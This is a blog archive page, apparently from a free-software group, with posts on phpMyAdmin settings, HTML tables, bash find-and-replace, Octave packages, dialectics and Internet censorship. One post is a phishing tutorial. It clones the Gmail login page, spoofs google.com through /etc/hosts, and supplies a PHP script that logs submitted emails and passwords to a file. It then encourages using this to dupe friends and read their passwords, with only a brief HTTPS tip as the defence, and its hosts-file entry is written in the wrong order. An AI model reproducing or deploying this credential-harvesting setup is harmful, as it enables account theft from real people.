Sunday, March 31, 2013

How to change file upload size in phpmyadmin!

For lesser mortals in the universe of databases, who still inadvertently use lot of MySql, a tool like PHPMyadmin is the holy grail!

This web browser based, php querier accesses MySql tables and also gives tremendous functionalities to tinker with the databases. While most of it is intuitive, sometimes a small feature requirement needs the options beyond the defaults.

Before I delve into these non-default configurations, just for the record, here is how you get your phpmyadmin to access your mysql tables on your Debian based machines.

fsmk@gnu:~$ sudo apt-get install phpmyadmin

Once, you have installed, as a dependency Apache also gets installed. To access phpmyadmin, open your favourite web browser and type on "http://localhost/phpmyadmin"

Now, that settled let me get into the issue of the post.
SQL backup, taken from different servers or simply for the purpose of backing up data are the most precious files on my computer, at least. Now, to move in and out of different machines with the mysql data, phpmyadmin offers a cool import/export option.

While export is flawless, import has a default option which restricts the maximum file upload size to 2M. Once you encounter sql's which are more than 2M you know you are handling quite a lot of data, and in such cases how to restore these >2M files?

The configuration file for the phpmyadmin which checks this option is a php.ini file, which resides in the /etc/php5/apache2/ directory.



Get hold of this file, and search for "upload_max_filesize" in the php.ini file. After you've got it change it to whatever that your maximum file size might be.
Restart your apache service to upload those massive sqls into your database.

Sunday, March 17, 2013

Embeding long tables in plain HTML, using Libre Office

When using plain HTML for design of web pages, and there aren't any WYSIWG editors, and there is an inevitable requirement to embed tables into the HTML file, the <table> tag is quite handy.

<table border="1">
<tr>
<td><b>Movie</b></td>
<td><b>Favourite character</b></td>
</tr>
<tr>
<td>The Matrix</td>
<td>Neo</td>
</tr>
<tr>
<td>The Lord of the Ring</td>
<td>Eragon</td>
</tr>
<tr>
<td>V for Vendetta</td>
<td>Ivy</td>
</tr>
</table>

Will result in


For a table with couple of entries and default options, this syntax follows, and is adequate.

But, when one has to embed a longer table, with many more rows and columns and don't ask me why! Just in case, you find yourself in such a state that you have a complete table existing already in your document or spreadsheet and you do not have the patience or the in-aptitude to type out all of it using the syntax shown above, Libre Office (or even Open Office) comes to rescue!

Copy the entire table that you want to embed in a HTML file, and paste it into a new HTML document that you can create from the Libre Office prompt. Once you are done formatting your new table in a Libre Office HTML file, save it as a .html file.



All you now have to do is, locate the new .html file you created using Libre Office and open it with your favourite text editor!

It is a HTML file now with all the taggings done for your table, which otherwise would have taken painstaking hours of labour to reach that form! Copy-Paste the HTML code into your webpage that you started off wanting to embed a table.
It's ready!

Libre, set me literally free this time!

Happy hacking!
PS: Of course there might be better methods to accomplish this, if you do have one please post it as a comment :) 

Tuesday, March 12, 2013

Find,replace in multiple files using BASH

Another of those zillions of tweaks that I am afraid will slip out of my head! So jotting it down here.

When you are editing HTML files, or some similar content template with multiple changes to be done in a huge number of files, it is simply excruciating to dig into each of the files and search for a pattern and change it.

For instance, if you have a host of html files, and you need to maybe make one common change in all files, the simplest thing to do is use the power of BASH!

To change a string, recursively in multiple files, use the following command.

raghav@fossphosis:~$grep -rl 'old-string' ./ | xargs sed -i 's/old-string/new-string/g'

'grep' as always performs pattern matching
'sed' is used as the stream editor

Old-string is the string to be changed, into new-string.

May the power of BASH be yours!
GNU Rocks.

Monday, February 11, 2013

Installing additional packages in GNU Octave

 Guest post by Sneha Das, BMSIT, FSMK

Octave is a versatile computational tool, with multi-faceted functionality. To make the fullest use of this tool, there are various packages that needs to be installed. The packages in octave are equivalent to toolboxes in matlab.

To install octave packages

  • If the desired package to be installed is available in the ubuntu repository, then
    - open the terminal
    - type 'sudo apt-get install octave-name; name is the name of the octave package. If the
    install is unsuccessful, errors appear in the terminal. Else nothing appears.

If the package is not there in the repository
  • Download the package's .tar.gz file from http://octave.sourceforge.net/packages.php
  • Don't extract the .tar.gz file.
  • Open Octave by typing 'sudo octave' in the terminal.
    - the working directory should be the directory where the file is stored.
    So type 'cd directory' to change the working directory.
    - Then install the package by typing the command 'pkg install name.tar.gz'

Tuesday, August 28, 2012

The idea of Dialectics

By Aruna

The idea of Dialectics, though not new is not something familiar. I was quite intrigued by the idea of a discussion on Dialectics, and the same turned out to be a discussion on several things, relevant to and far from dialectics. The initial presentation was simple, to the point and a nice introduction to the various dialectic laws that can be applied. It was quite fascinating to imagine that individual, scattered events in one person's life are repeated with surprising similarity in almost everybody's life in the world; what I absorbed was that there are a few laws which dictate how our social lives span out, how all our social lives span out. There is a certain logic and order to the world and dialectic tries to define this order using a series of almost irrefutable laws.

 In the discussion, something that I was trying to grasp was that the proof of dialectics is influenced greatly by how one approaches the situation or matter at hand. On the one hand there might be a certain statement that seems to defy dialectics but when seen from another perspective conforms willingly; while dialectic defines a series of laws, it does not define how one must approach these laws- in which situation, in what order, under what circumstances; as a newbie this confounded me the most. (I am talking about the 1+1=2 problem)

Some questions I have -
*Are there only finite areas that dialectics can help explain, or is it all encompassing?
*Further, unlike the singularity that science and logic demand, there are several ways to look at dialectics, what is the right way? Or is there no such thing as the right way? If there is no such thing as a right way, are we not fooling ourselves by reading these laws as being absolute?
*Doesn't every work of literature or the arts or even the simple act of thinking not use dialectics in some way?

I definitely want to understand dialectics better, but I would love to learn about it through examples - maybe movies that refute or support a dialectic claim, maybe a story, a song, a novel. The study of the laws, merely as themselves, would be far more interesting if discussed and debated as a group. I cannot imagine reading Engel's or Hegel's several observations all by myself, and subsequently trying to implement them. I would give up before learning, and that would be such a pity.

 While my interest in dialectics has been kindled, it has not established itself soundly enough for me to sense the presence of dialectics all around me, this is something that I am hoping will happen when we have more meetings, and I can't wait!

Monday, July 23, 2012

How to phish and not to get phished



With the increase in commercial transactions online and a whole lot of information online, the need to secure it also increases because it is still people on the Internet and the sense of security and insecurity is innate to our interactions.

Phishing (of course,read it as fishing :P) is one of the most treacherous menaces which could have really bad ramifications -  loss of money, passwords and compromise of sensitive information.

In this post, I show how the simplest phishing trick is performed (thanks to Vignesh T Prabhu for showing me this trick), so that avoiding it can also be made effective. This trick is an offline version, and it takes simple extra gyaan to put it online.

Based on my experience with the audience I have been dealing with, I will touch upon some fundamentals like DNS, Apache Webserver, GNU/Linux directory structure and some bit of coding.

DNS Server:

Domain Name System servers are lookup tables used to map URLs to IP addresses ( a more elaborate post about it here).
For our trick here, we will need only to know that the fist level of name resolution in a GNU/Linux machine happens in the file /etc/hosts.
All GNU/Linux machines have first level DNS resolution here and standard entries might look like this :


Because in Phsihing we purport to be a webpage we are not, I usually add use the localhost as the webserver.
For instance, you could try ping google.com and it might yield a reply from a specific IP address as shown below


Here the name resolution is happening for google.com to 74.125.236.206
I our case I will try to make the localhost as google.com, for example.
Then add this entry in the /etc/hosts file

sudo nano /etc/hosts (to edit the file)
and append
google.com     127.0.0.1
save it.
where 127.0.0.1 is one of the loopback ethernet interfaces.

Now try pinging google.com, and the reply looks like this




Apache Webserver

The awesomeness of running a GNU/Linux box is in the fact that you have a "server" with you - an almost full fledged server. For our hack here, we need to be running a webserver and who else but the master of all webservers Apache runs like a charm on any GNU/Linux distro.

Install Apache (in debian based OS)

sudo apt-get install apache2

Once installed, check if the server is running - open a web browser and enter localhost, and the default page must be as shown below:


Now, also try entering google.com in the browser and it should land on the same default webpage


Now, we're ready to phish.

HTML file:

Log on to the google mail login page, and copy the source code (ctrl+u to view source code) of the file into a text document.

Find the action field and replace the google authentication URL with "phishing.php" (a php script we will be using to phish)
Save the html file as something relevant, for example login.hmtl

PHP script:

Here's a simple PHP script which will capture the login name and password on the phishing page and redirect to original authentication page.

<html>
<body>
<?php
$handle=fopen("Password.txt","a");
fwrite($handle,$_POST["Email id:"]);
fwrite($handle,"\n");
fwrite($handle,$_POST["Password:"]);
fwrite($handle,"\n");
fwrite($handle,"\n");
fclose($handle);
header("Location:https://www.google.com/accounts/ServiceLoginAuth");
exit;
?>
</body>
</html>


PHP script, save it as phishing.php

Create an empty text document password.txt.

Now, copy the three files login.html, phishing.php and password.txt to the default web server location /var/www

sudo cp login.html phishing.php password.txt /var/www

The password.txt file needs to have write permissions by the phoshing.php script - a easy and lazy way to do it is

sudo chmod 777 /var/www/password.txt

Now, you can dupe any of your friends for a prank and get them login to their google mail account and check the password.txt file to know their password, without them having a doubt of what has occurred.

The solution:

HTTPS browsing is the safest means of web browsing, and a quick verification of certificates would reveal us the real identities of these webpages.

For, the original google mail page will have an SSL certificate signed and verified, where as the phishing script won't.
Use https everywhere by EFF to avoid most of the attempts :)
Phishing page without secure connection and a warning

Secure login page with SSL certification

Sunday, June 10, 2012

FSMK protests against the attack of freedom in the Internet



FSMK protests against the attack of freedom in the Internet

Internet Freedom is under sever attack from many quarters – the Ministry of Information and Technology, various state governments, the police, international lobbying and now certain major Internet Service Providers (ISP's) such as Reliance Communications, Airtel and MTNL have joined the league.

After trying to constrain the nature of opinion that could be put up on the Internet in the form of the hasty IT Intermediaries Bill which faced tremendous opposition, now major websites such as Vimeo for video sharing, and various peer-to-peer file sharing or the Torrent sites commonly used for exchange of large files between users are being blocked by these ISP's, without any instructions issued by the Government.

We have already seen the effect of the IT Rules in which a huge number of requests are now being directed to intermediaries such as Google, Facebook, etc for taking down statements critical of the Government and political figures. Cases are being instituted by the Police under the IT Act against circulating of cartoons, calling it a cyber crime. All this shows that our constitutionally guaranteed freedoms in a democratic framework are currently under attack.

Equally worrying is the tendency of courts to issue blanket orders -- called John Doe orders – in the USA to protect the Intellectual Property of certain media companies, which have been wholeheartedly endorsed by corporations like Reliance Communications – an Internet Service Provider acting in the interest of Reliance as a Media company to block a large number of Torrent sites.

Free Software Movement Karnataka is a team of Internet activists and technology enthusiasts coming from various walks of life. We understand that without openly criticising the stands and actions of the freedom curbing authorities today freedom in the Internet is at stake,which consequentially would cripple the transparent functioning of democracy.

Join us to understand details of the Internet censorship and shutting down of websites issue; how it would impact you and the nation as a whole.

Internet is the voice of people today, don't let them dumb us down!

We have it in our power to begin the world over again.
Thomas Paine